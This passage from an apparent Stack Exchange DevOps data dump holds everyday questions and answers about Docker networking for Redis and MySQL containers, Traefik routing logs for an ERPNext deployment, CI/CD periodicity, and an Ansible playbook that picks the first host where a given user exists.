one&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating middleware&quot; middlewareName=pipelining middlewareType=Pipelining entryPointName=web routerName=http-catchall@docker serviceName=traefik-frappe-docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating load-balancer&quot; entryPointName=web routerName=http-catchall@docker serviceName=traefik-frappe-docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating server 0 http://172.20.0.14:80&quot; entryPointName=web routerName=http-catchall@docker serverName=0 serviceName=traefik-frappe-docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Added outgoing tracing middleware traefik-frappe-docker&quot; middlewareName=tracing middlewareType=TracingForwarder entryPointName=web routerName=http-catchall@docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating middleware&quot; middlewareType=RedirectScheme entryPointName=web routerName=http-catchall@docker middlewareName=redirect-to-https@docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Setting up redirection to https &quot; middlewareType=RedirectScheme entryPointName=web routerName=http-catchall@docker middlewareName=redirect-to-https@docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Adding tracing to middleware&quot; entryPointName=web routerName=http-catchall@docker middlewareName=redirect-to-https@docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating middleware&quot; entryPointName=web middlewareType=Recovery middlewareName=traefik-internal-recovery&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating middleware&quot; routerName=erpnext-nginx@docker serviceName=erpnext-nginx middlewareName=pipelining middlewareType=Pipelining entryPointName=websecure&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating load-balancer&quot; entryPointName=websecure routerName=erpnext-nginx@docker serviceName=erpnext-nginx&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating server 0 http://172.20.0.4:80&quot; entryPointName=websecure routerName=erpnext-nginx@docker serviceName=erpnext-nginx serverName=0&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Added outgoing tracing middleware erpnext-nginx&quot; middlewareName=tracing middlewareType=TracingForwarder routerName=erpnext-nginx@docker entryPointName=websecure&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=error msg=&quot;error while parsing rule Host(`erp.saundersconsulting.tech): 1:6: raw string literal not terminated&quot; routerName=erpnext-nginx@docker entryPointName=websecure&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;Creating middleware&quot; entryPointName=websecure middlewareName=traefik-internal-recovery middlewareType=Recovery&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:17Z&quot; level=debug msg=&quot;No default certificate, generating one&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:18Z&quot; level=error msg=&quot;Error parsing domains in provider ACME: 1:6: raw string literal not terminated&quot; providerName=myresolver.acme routerName=erpnext-nginx@docker rule=&quot;Host(`erp.saundersconsulting.tech)&quot;&#xD;&#xA;    site-creator_1            | Attempt 1 to connect to mariadb:3306&#xD;&#xA;    site-creator_1            | Attempt 1 to connect to redis-queue:6379&#xD;&#xA;    site-creator_1            | Attempt 1 to connect to redis-cache:6379&#xD;&#xA;    site-creator_1            | Attempt 1 to connect to redis-socketio:6379&#xD;&#xA;    site-creator_1            | Connections OK&#xD;&#xA;    site-creator_1            | Site erp.saundersconsulting.tech already exists&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:26Z&quot; level=debug msg=&quot;Provider event received {Status:die ID:6ea0246bf12dbaf11c684dbecc9dd449b30f38930610b3a6bdd6fcc31a416b92 From:frappe/erpnext-worker:edge Type:container Action:die Actor:{ID:6ea0246bf12dbaf11c684dbecc9dd449b30f38930610b3a6bdd6fcc31a416b92 Attributes:map[com.docker.compose.config-&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:30Z&quot; level=debug msg=&quot;Filtering disabled container&quot; container=redis-queue-frappe-docker-4d6c6ed96e2a4da4d7efa21299e6ea9fb74f09bdc466fd878598f5cd288090ad providerName=docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:30Z&quot; level=debug msg=&quot;Configuration received from provider docker: {\&quot;http\&quot;:{\&quot;routers\&quot;:{\&quot;erpnext-nginx\&quot;:{\&quot;entryPoints\&quot;:[\&quot;websecure\&quot;],\&quot;service\&quot;:\&quot;erpnext-nginx\&quot;,\&quot;rule\&quot;:\&quot;Host(`erp.saundersconsulting.tech)\&quot;,\&quot;tls\&quot;:{\&quot;certResolver\&quot;:\&quot;myresolver\&quot;}},\&quot;http-catchall\&quot;:{\&quot;entryPoints\&quot;:[\&quot;web\&quot;],\&quot;middlewares\&quot;:[\&quot;redirect-to-https\&quot;],\&quot;service\&quot;:\&quot;traefik-frappe-docker\&quot;,\&quot;rule\&quot;:\&quot;hostregexp(`{host:.+}`)\&quot;}},\&quot;services\&quot;:{\&quot;erpnext-nginx\&quot;:{\&quot;loadBalancer\&quot;:{\&quot;servers\&quot;:[{\&quot;url\&quot;:\&quot;http://172.20.0.4:80\&quot;}],\&quot;passHostHeader\&quot;:true}},\&quot;traefik-frappe-docker\&quot;:{\&quot;loadBalancer\&quot;:{\&quot;servers\&quot;:[{\&quot;url\&quot;:\&quot;http://172.20.0.14:80\&quot;}],\&quot;passHostHeader\&quot;:true}}},\&quot;middlewares\&quot;:{\&quot;redirect-to-https\&quot;:{\&quot;redirectScheme\&quot;:{\&quot;scheme\&quot;:\&quot;https\&quot;}}}},\&quot;tcp\&quot;:{},\&quot;udp\&quot;:{}}&quot; providerName=docker&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:46:30Z&quot; level=info msg=&quot;Skipping same configuration&quot; providerName=docker&#xD;&#xA;    erpnext-nginx_1           | Waiting for frappe-python to be available on erpnext-python port 8000&#xD;&#xA;    erpnext-nginx_1           | Frappe-python available on erpnext-python port 8000&#xD;&#xA;    erpnext-nginx_1           | Waiting for frappe-socketio to be available on frappe-socketio port 9000&#xD;&#xA;    erpnext-nginx_1           | Frappe-socketio available on frappe-socketio port 9000&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:47:21.055 * 100 changes in 300 seconds. Saving...&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:47:21.056 * Background saving started by pid 18&#xD;&#xA;    redis-cache_1             | 18:C 24 Sep 2020 21:47:21.107 * DB saved on disk&#xD;&#xA;    redis-cache_1             | 18:C 24 Sep 2020 21:47:21.108 * RDB: 0 MB of memory used by copy-on-write&#xD;&#xA;    redis-cache_1             | 1:M 24 Sep 2020 21:47:21.156 * Background saving terminated with success&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:50:09Z&quot; level=debug msg=&quot;Serving default certificate for request: \&quot;localhost\&quot;&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:50:09Z&quot; level=debug msg=&quot;http: TLS handshake error from 172.20.0.1:40102: remote error: tls: bad certificate&quot;&#xD;&#xA;    traefik_1                 | time=&quot;2020-09-24T21:50:14Z&quot; level=debug msg=&quot;Serving default certificate for request: \&quot;localhost\&quot;&quot;&#xD;&#xA;     &#xD;&#xA;&#xD;&#xA;Looking at the below `entrypoint`:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE                         COMMAND                  CREATED             STATUS              PORTS                                      NAMES&#xD;&#xA;    547893b78496        frappe/frappe-socketio:edge   &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes                                                  frappe_docker_frappe-socketio_1&#xD;&#xA;    d7c672c3b8e4        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       8000/tcp                                   frappe_docker_erpnext-worker-long_1&#xD;&#xA;    16916a30304b        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       8000/tcp                                   frappe_docker_erpnext-schedule_1&#xD;&#xA;    f18a505e3d01        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       8000/tcp                                   frappe_docker_erpnext-worker-default_1&#xD;&#xA;    7da607a8d5a8        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       8000/tcp                                   frappe_docker_erpnext-worker-short_1&#xD;&#xA;    70879517dbbf        mariadb:10.3                  &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       3306/tcp                                   frappe_docker_mariadb_1&#xD;&#xA;    e1b06e870f32        redis:latest                  &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       6379/tcp                                   frappe_docker_redis-socketio_1&#xD;&#xA;    b8ef2a1cd685        frappe/erpnext-worker:edge    &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       8000/tcp                                   frappe_docker_erpnext-python_1&#xD;&#xA;    d6555ff0f12f        traefik:v2.2                  &quot;/entrypoint.sh --lo…&quot;   11 minutes ago      Up 7 minutes        0.0.0.0:80-&gt;80/tcp, 0.0.0.0:443-&gt;443/tcp   frappe_docker_traefik_1&#xD;&#xA;    d7cbac8c826b        redis:latest                  &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       6379/tcp                                   frappe_docker_redis-cache_1&#xD;&#xA;    55b3a31ee25c        frappe/erpnext-nginx:edge     &quot;/docker-entrypoint.…&quot;   11 minutes ago      Up 7 minutes        80/tcp                                     frappe_docker_erpnext-nginx_1&#xD;&#xA;    4d6c6ed96e2a        redis:latest                  &quot;docker-entrypoint.s…&quot;   11 minutes ago      Up 11 minutes       6379/tcp                                   frappe_docker_redis-queue_1&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;I tried a few of those ports, best result was a `404` from `localhost` on Firefox which I *think* was from this unconfigured app.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Quite possibly everything's working as intended, but simply needs configuration." ContentLicense="CC BY-SA 4.0" />
  <row Id="38357" PostHistoryTypeId="2" PostId="12490" RevisionGUID="281f0b96-979d-45ae-a80e-2b6adeb24142" CreationDate="2020-09-24T22:25:37.713" UserId="23443" Text="I'd like to be able to connect directly to the `redis` container below:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker images redis&#xD;&#xA;    REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xD;&#xA;    redis               alpine              bd71e6db4a54        2 weeks ago         32.2MB&#xD;&#xA;    redis               latest              84c5f6e03bf0        2 weeks ago         104MB&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run --name rd -d -p 99:99 redis:latest&#xD;&#xA;    ac4b8b2b032b2c2911f03fd4f6af649f470620cd29eb566b821e5ce738d9ac11&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker exec -ti --user root rd bash&#xD;&#xA;    root@ac4b8b2b032b:/data# &#xD;&#xA;    root@ac4b8b2b032b:/data# redis-cli&#xD;&#xA;    127.0.0.1:6379&gt; &#xD;&#xA;    127.0.0.1:6379&gt; exit&#xD;&#xA;    root@ac4b8b2b032b:/data# &#xD;&#xA;    root@ac4b8b2b032b:/data# exit&#xD;&#xA;    exit&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker network ls&#xD;&#xA;    NETWORK ID          NAME                    DRIVER              SCOPE&#xD;&#xA;    74c94db9195c        basexhttpnetwork        bridge              local&#xD;&#xA;    a5efbdf4bc39        bridge                  bridge              local&#xD;&#xA;    4b6586d1bc8c        frappe_docker_default   bridge              local&#xD;&#xA;    1b875368faa0        helloworld_default      bridge              local&#xD;&#xA;    3bc6659535b4        host                    host                local&#xD;&#xA;    e877e399bf78        none                    null                local&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                          NAMES&#xD;&#xA;    ac4b8b2b032b        redis:latest        &quot;docker-entrypoint.s…&quot;   6 minutes ago       Up 6 minutes        0.0.0.0:99-&gt;99/tcp, 6379/tcp   rd&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;using the `redis-cli` tool from the host.  So I would need to add or attach the `rd` (for `redis`) container to the bridge driver?  Then specify an IP address and port from the host?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38358" PostHistoryTypeId="1" PostId="12490" RevisionGUID="281f0b96-979d-45ae-a80e-2b6adeb24142" CreationDate="2020-09-24T22:25:37.713" UserId="23443" Text="How do I make a redis container accessible through bridge networking from the host?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38359" PostHistoryTypeId="3" PostId="12490" RevisionGUID="281f0b96-979d-45ae-a80e-2b6adeb24142" CreationDate="2020-09-24T22:25:37.713" UserId="23443" Text="&lt;docker&gt;&lt;networking&gt;&lt;databases&gt;&lt;ports&gt;&lt;redis&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38360" PostHistoryTypeId="2" PostId="12491" RevisionGUID="0cc9521a-e9bd-4b43-9aae-c0c07f4d1def" CreationDate="2020-09-25T00:51:49.953" UserId="15944" Text="I have a list of hosts using aws_ec2 and I want to find the first host where the ec2 instance has a specific docker container.&#xD;&#xA;&#xD;&#xA;I created a play book with a list of tasks, which ultimately executes a curl command.  I only want to execute it on one host but first I have to find that host based on if the host is running a specific docker image.  I'm using a shell task to execute `docker ps | grep my-filter` to see if the host has the docker container named &quot;my-filter&quot;, once that container is found on that particular host, I'd like to execute the rest of my tasks on that particular host.&#xD;&#xA;&#xD;&#xA;I was looking at with_first_found but that seems to only apply to files.&#xD;&#xA;&#xD;&#xA;Any help/pointers would be appreciated.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38361" PostHistoryTypeId="1" PostId="12491" RevisionGUID="0cc9521a-e9bd-4b43-9aae-c0c07f4d1def" CreationDate="2020-09-25T00:51:49.953" UserId="15944" Text="How to skip rest of hosts when item found in host - Ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="38362" PostHistoryTypeId="3" PostId="12491" RevisionGUID="0cc9521a-e9bd-4b43-9aae-c0c07f4d1def" CreationDate="2020-09-25T00:51:49.953" UserId="15944" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38363" PostHistoryTypeId="2" PostId="12492" RevisionGUID="45dca240-7be6-4805-aaee-6277c6e62797" CreationDate="2020-09-25T00:58:07.810" UserId="23835" Text="Periodicity will only come into effect if the overall integration and deployment processes take a long time to complete, which is more likely the actual problem.  Said differently, in an environment where applications are built using lightweight architectures that are quickly scanned, built, deployed and tested, periodicity would cease to be relevant." ContentLicense="CC BY-SA 4.0" />
  <row Id="38364" PostHistoryTypeId="5" PostId="12492" RevisionGUID="3a2824ac-7c7d-41d7-a4c1-fbaa3961020c" CreationDate="2020-09-25T01:05:44.403" UserId="23835" Comment="Wanted to make sure I answered the question" Text="Periodicity will only come into effect if the overall integration and deployment processes take a long time to complete, which is more likely the actual problem.  Said differently, in an environment where applications are built using lightweight architectures that are quickly scanned, built, deployed and tested, periodicity would cease to be relevant.&#xD;&#xA;&#xD;&#xA;I would say that periodicity prevents a system from being truly continuous, so that is the way in which they are related. PI/PD" ContentLicense="CC BY-SA 4.0" />
  <row Id="38365" PostHistoryTypeId="2" PostId="12493" RevisionGUID="303c52b5-c99f-4da7-b0c6-85c0105259e0" CreationDate="2020-09-25T02:06:32.927" UserId="23443" Text="&#xD;&#xA;&#xD;&#xA;starting up the default `mysql` server:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run --name mysql -d -p 3306:3306 -e MYSQL_ROOT_PASSWORD=password mysql/mysql-server:latest&#xD;&#xA;    d2b066e9aa4192b45334e9dada923b6b3dca5703e811733e150333f52849c1a1&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker ps -a&#xD;&#xA;    CONTAINER ID        IMAGE                       COMMAND                  CREATED             STATUS                            PORTS                               NAMES&#xD;&#xA;    d2b066e9aa41        mysql/mysql-server:latest   &quot;/entrypoint.sh mysq…&quot;   9 seconds ago       Up 6 seconds (health: starting)   0.0.0.0:3306-&gt;3306/tcp, 33060/tcp   mysql&#xD;&#xA;    root $ &#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;trying to login to the container, but getting the host `MySQL` instance:&#xD;&#xA;    &#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ mysql -h 172.17.0.2 -P 3306 --protocol=tcp -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    Welcome to the MySQL monitor.  Commands end with ; or \g.&#xD;&#xA;    Your MySQL connection id is 21&#xD;&#xA;    Server version: 8.0.21 MySQL Community Server - GPL&#xD;&#xA;    &#xD;&#xA;    Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.&#xD;&#xA;    &#xD;&#xA;    Oracle is a registered trademark of Oracle Corporation and/or its&#xD;&#xA;    affiliates. Other names may be trademarks of their respective&#xD;&#xA;    owners.&#xD;&#xA;    &#xD;&#xA;    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; SELECT host, user FROM mysql.user;&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | host      | user             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | %         | root             |&#xD;&#xA;    | %         | user             |&#xD;&#xA;    | localhost | mysql.infoschema |&#xD;&#xA;    | localhost | mysql.session    |&#xD;&#xA;    | localhost | mysql.sys        |&#xD;&#xA;    | localhost | root             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    6 rows in set (0.00 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm trying that explicit `IP` address because:    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    root $ &#xD;&#xA;    root $ docker inspect mysql | grep IP&#xD;&#xA;                &quot;LinkLocalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;LinkLocalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;SecondaryIPAddresses&quot;: null,&#xD;&#xA;                &quot;SecondaryIPv6Addresses&quot;: null,&#xD;&#xA;                &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;                &quot;IPAddress&quot;: &quot;172.17.0.2&quot;,&#xD;&#xA;                &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;IPAMConfig&quot;: null,&#xD;&#xA;                        &quot;IPAddress&quot;: &quot;172.17.0.2&quot;,&#xD;&#xA;                        &quot;IPPrefixLen&quot;: 16,&#xD;&#xA;                        &quot;IPv6Gateway&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6Address&quot;: &quot;&quot;,&#xD;&#xA;                        &quot;GlobalIPv6PrefixLen&quot;: 0,&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;although I'm also getting the same result for `localhost` in that I'm still logging into the host instance of `MySQL` rather than the container.&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker exec -ti --user root mysql bash&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# mysql -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    Welcome to the MySQL monitor.  Commands end with ; or \g.&#xD;&#xA;    Your MySQL connection id is 26&#xD;&#xA;    Server version: 8.0.21 MySQL Community Server - GPL&#xD;&#xA;    &#xD;&#xA;    Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.&#xD;&#xA;    &#xD;&#xA;    Oracle is a registered trademark of Oracle Corporation and/or its&#xD;&#xA;    affiliates. Other names may be trademarks of their respective&#xD;&#xA;    owners.&#xD;&#xA;    &#xD;&#xA;    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; SELECT host, user FROM mysql.user;&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | host      | user             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | localhost | healthchecker    |&#xD;&#xA;    | localhost | mysql.infoschema |&#xD;&#xA;    | localhost | mysql.session    |&#xD;&#xA;    | localhost | mysql.sys        |&#xD;&#xA;    | localhost | root             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    5 rows in set (0.00 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;&#xD;&#xA;which is virgin, not having user `user` configured on the container.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Additionally:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ netstat -peanut | grep 3306&#xD;&#xA;    tcp6       0      0 :::3306                 :::*                    LISTEN      0          25585352   488887/docker-proxy &#xD;&#xA;    root $ &#xD;&#xA;    root $ docker inspect mysql | grep password&#xD;&#xA;                    &quot;MYSQL_ROOT_PASSWORD=password&quot;,&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;and so I was expecting that by specifying `tcp` for `localhost` from the host I'd be able to connect to the docker container.  Yet that's not happening, I'm getting the host's database:&#xD;&#xA;&#xD;&#xA;    nicholas $ &#xD;&#xA;    nicholas $ mysql -h localhost -P 3306 --protocol=tcp -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    Welcome to the MySQL monitor.  Commands end with ; or \g.&#xD;&#xA;    Your MySQL connection id is 23&#xD;&#xA;    Server version: 8.0.21 MySQL Community Server - GPL&#xD;&#xA;    &#xD;&#xA;    Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.&#xD;&#xA;    &#xD;&#xA;    Oracle is a registered trademark of Oracle Corporation and/or its&#xD;&#xA;    affiliates. Other names may be trademarks of their respective&#xD;&#xA;    owners.&#xD;&#xA;    &#xD;&#xA;    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; SELECT host, user FROM mysql.user;&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | host      | user             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    | %         | root             |&#xD;&#xA;    | %         | user             |&#xD;&#xA;    | localhost | mysql.infoschema |&#xD;&#xA;    | localhost | mysql.session    |&#xD;&#xA;    | localhost | mysql.sys        |&#xD;&#xA;    | localhost | root             |&#xD;&#xA;    +-----------+------------------+&#xD;&#xA;    6 rows in set (0.00 sec)&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;&#xD;&#xA;I *think* if I uninstall `mysql` server from the host I'll be able to connect to the docker database, but surely there's a better approach.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38366" PostHistoryTypeId="1" PostId="12493" RevisionGUID="303c52b5-c99f-4da7-b0c6-85c0105259e0" CreationDate="2020-09-25T02:06:32.927" UserId="23443" Text="how to connect to a MySQL database in a docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38367" PostHistoryTypeId="3" PostId="12493" RevisionGUID="303c52b5-c99f-4da7-b0c6-85c0105259e0" CreationDate="2020-09-25T02:06:32.927" UserId="23443" Text="&lt;docker&gt;&lt;networking&gt;&lt;databases&gt;&lt;mysql&gt;&lt;ports&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38368" PostHistoryTypeId="2" PostId="12494" RevisionGUID="432a78a8-3fbc-40df-b44c-55a8167de11d" CreationDate="2020-09-25T05:37:11.067" UserId="23904" Text="One way to achieve this is by using the MySQL socket to connect instead of port. For this you would have bind a mount to your container. You would anyway need a host directory bound to container to persist Database data.&#xD;&#xA;&#xD;&#xA;* First create a directory on host to mount container `/var/lib/mysql`&#xD;&#xA;* Use `-v` option in `docker run` to attach host path to container&#xD;&#xA;* Connect from client using `-S` and point to `mysql.sock` socket file&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;mkdir /home/user/mysql-1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then start the container so that `/home/user/mysql-1` will attach to container's `/var/lib/mysql`:&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;docker run --name mysql -d \&#xD;&#xA;-v /home/user/mysql-1:/var/lib/mysql \&#xD;&#xA;-e MYSQL_ROOT_PASSWORD=password \&#xD;&#xA;mysql/mysql-server &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Once the container is started, you can connect to it with:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;mysql -h localhost -u user -p -S /home/user/mysql-1/mysql.sock&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38369" PostHistoryTypeId="2" PostId="12495" RevisionGUID="e98c9f96-af07-4701-acc5-dd40ea0706c0" CreationDate="2020-09-25T06:31:29.117" UserId="7715" Text="Let's test the use-case with 10 remote hosts (test_01 - test_10) in the group *test* and user *my-user* in the hosts test_03 and test_07. To test the existence of the user, use the shell command&#xD;&#xA;&#xD;&#xA;```sh&#xD;&#xA;shell&gt; cat /etc/passwd|grep my-user&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;For example the playbook&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;shell&gt; cat playbook.yml&#xD;&#xA;- hosts: test&#xD;&#xA;  tasks:&#xD;&#xA;    - shell: cat /etc/passwd|grep my-user&#xD;&#xA;      register: result&#xD;&#xA;      ignore_errors: true&#xD;&#xA;    - set_fact:&#xD;&#xA;        results: &quot;{{ results|default({})|&#xD;&#xA;                     combine({item: hostvars[item].result.rc}) }}&quot;&#xD;&#xA;      loop: &quot;{{ ansible_play_hosts }}&quot;&#xD;&#xA;      run_once: true&#xD;&#xA;    - debug:&#xD;&#xA;        var: results&#xD;&#xA;      run_once: true&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;ok: [test_01] =&gt; &#xD;&#xA;  results:&#xD;&#xA;    test_01: 1&#xD;&#xA;    test_02: 1&#xD;&#xA;    test_03: 0&#xD;&#xA;    test_04: 1&#xD;&#xA;    test_05: 1&#xD;&#xA;    test_06: 1&#xD;&#xA;    test_07: 0&#xD;&#xA;    test_08: 1&#xD;&#xA;    test_09: 1&#xD;&#xA;    test_10: 1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;To skip the rest of the hosts, when the first host is found, iterate the list of the hosts and test *rc*. Then add the host to a new group and run the next play with this group. For example,&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;shell&gt; cat playbook.yml&#xD;&#xA;- hosts: test&#xD;&#xA;  vars:&#xD;&#xA;    dresult:&#xD;&#xA;      rc: 1&#xD;&#xA;  tasks:&#xD;&#xA;    - shell: cat /etc/passwd|grep my-user&#xD;&#xA;      register: result&#xD;&#xA;      loop: &quot;{{ ansible_play_hosts }}&quot;&#xD;&#xA;      delegate_to: &quot;{{ item }}&quot;&#xD;&#xA;      ignore_errors: true&#xD;&#xA;      run_once: true&#xD;&#xA;      when: (result|default(dresult)).rc == 1&#xD;&#xA;    - set_fact:&#xD;&#xA;        my_host: &quot;{{ result.results|json_query('[?rc == `0`].item')|first }}&quot;&#xD;&#xA;      run_once: true&#xD;&#xA;    - debug:&#xD;&#xA;        var: my_host&#xD;&#xA;      run_once: true&#xD;&#xA;    - add_host:&#xD;&#xA;        name: &quot;{{ my_host }}&quot;&#xD;&#xA;        groups: my_group&#xD;&#xA;&#xD;&#xA;- hosts: my_group&#xD;&#xA;  tasks:&#xD;&#xA;    - debug:&#xD;&#xA;        var: inventory_hostname&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;shell&gt; ansible-playbook playbook.yml &#xD;&#xA;&#xD;&#xA;PLAY [test] ****&#xD;&#xA;&#xD;&#xA;TASK [shell] ****&#xD;&#xA;failed: [test_01 -&gt; test_01] (item=test_01) =&gt; changed=true &#xD;&#xA;  ansible_loop_var: item&#xD;&#xA;  cmd: cat /etc/passwd|grep my-user&#xD;&#xA;  delta: '0:00:00.023271'&#xD;&#xA;  end: '2020-09-25 08:20:31.823168'&#xD;&#xA;  item: test_01&#xD;&#xA;  msg: non-zero return code&#xD;&#xA;  rc: 1&#xD;&#xA;  start: '2020-09-25 08:20:31.799897'&#xD;&#xA;  stderr: ''&#xD;&#xA;  stderr_lines: &lt;omitted&gt;&#xD;&#xA;  stdout: ''&#xD;&#xA;  stdout_lines: &lt;omitted&gt;&#xD;&#xA;failed: [test_01 -&gt; test_02] (item=test_02) =&gt; changed=true &#xD;&#xA;  ansible_loop_var: item&#xD;&#xA;  cmd: cat /etc/passwd|grep my-user&#xD;&#xA;  delta: '0:00:00.017642'&#xD;&#xA;  end: '2020-09-25 08:20:33.386657'&#xD;&#xA;  item: 